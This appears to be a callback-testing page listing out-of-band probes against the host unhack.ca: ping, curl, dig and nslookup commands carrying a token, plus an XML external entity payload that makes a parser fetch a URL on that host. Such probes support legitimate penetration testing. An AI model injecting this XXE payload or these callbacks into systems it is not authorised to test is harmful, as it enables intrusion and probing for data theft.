$ ping -c1 -p 00b9b2521e81785b0433e11aa25e5700 unhack.ca
 

$ curl http://unhack.ca/p/b9b2521e81785b0433e11aa25e57
 

$ dig b9b2521e81785b0433e11aa25e57 @unhack.ca
 

$ dig b9b2521e81785b0433e11aa25e57.ns.unhack.ca
 

C:\> nslookup b9b2521e81785b0433e11aa25e57 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b9b2521e81785b0433e11aa25e57">]>
    <foo>&xxe;</foo>